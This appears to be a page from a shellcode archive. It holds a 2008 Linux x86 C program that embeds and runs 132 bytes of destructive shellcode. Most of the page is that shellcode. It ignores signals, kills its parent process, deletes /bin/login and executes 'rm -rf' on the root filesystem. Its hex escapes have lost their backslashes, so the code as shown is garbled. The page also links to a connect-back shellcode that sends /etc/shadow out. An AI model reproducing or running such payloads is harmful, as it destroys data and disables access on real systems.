[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 rm -rf / attempts to block the process from being stopped
# Published : 2008-08-18
# Author : onionring
# Previous Title : linux/x86 connect back.send.exit /etc/shadow 155 bytes
# Next Title : linux/x86 setuid(0) . setgid(0) . aslr_off 79 bytes
/*
x86 linux rm -rf / which attempts to block the process from being stopped
132 bytes
written by onionring
*/
main()
{
char shellcode[] =
"x31xC0" // xor eax, eax
"x89xC3" // mov ebx, eax
"x89xC1" // mov ecx, eax
"x41" // inc ecx
"xB0x30" // mov al, 0x30 ; sys_signal
"xCDx80" // int 0x80
"x31xC0" // xor eax, eax
"xFExC3" // inc bl
"x80xFBx1F" // cmp bl, 0x1f
"x72xF3" // jb 0xf3
"x04x40" // add al, 0x40 ; sys_getppid
"xCDx80" // int 0x80
"x89xC2" // mov edx, eax
"x31xC0" // xor eax, eax
"xB0x02" // mov al, 0x2 ; sys_fork
"xCDx80" // int 0x80
"x39xC0" // cmp eax, eax
"x74x08" // jnz 0x8
"x31xC0" // xor eax, eax
"x89xC3" // mov ebx, eax
"xB0x01" // mov al, 0x1 ; sys_exit
"xCDx80" // int 0x80
"x31xC0" // xor eax, eax
"xB0x42" // mov al, 0x42 ; sys_setsid
"xCDx80" // int 0x80
"x43" // inc ebx
"x39xDA" // cmp edx, ebx
"x74x08" // jz 0x8
"x89xD3" // mov ebx, edx
"x31xC0" // xor eax, eax
"x04x25" // add al, 0x25 ; sys_kill
"xCDx80" // int 0x80
"x31xC0" // xor eax, eax
"x50" // push eax
"x68x6Fx67x69x6E" // push "ogin"
"x68x69x6Ex2Fx6C" // push "in/l"
"x68x2Fx2Fx2Fx62" // push "///b"
"x89xE3" // mov ebx, esp
"x31xC0" // xor eax, eax
"x04x0A" // add al, 0xa ; sys_unlink
"xCDx80" // int 0x80
"x31xC0" // xor eax, eax
"x50" // push eax
"x68x2Fx2Fx2Fx2F" // push "////"
"x89xE2" // mov edx, esp
"x50" // push eax
"x68x2Dx72x66x66" // push "-rff"
"x89xE1" // mov ecx, esp
"x50" // push eax
"x68x6Ex2Fx72x6D" // push "n/rm"
"x68x2Fx2Fx62x69" // push "//bi"
"x89xE3" // mov ebx, esp
"x50" // push eax
"x52" // push edx
"x51" // push ecx
"x53" // push ebx
"x89xE1" // mov ecx, esp
"x31xD2" // xor edx, edx
"x04x0B" // add al, 0xb ; sys_execve
"xCDx80"; // int 0x80
(*(void (*)()) shellcode)();
}
// www.Syue.com [2008-08-18]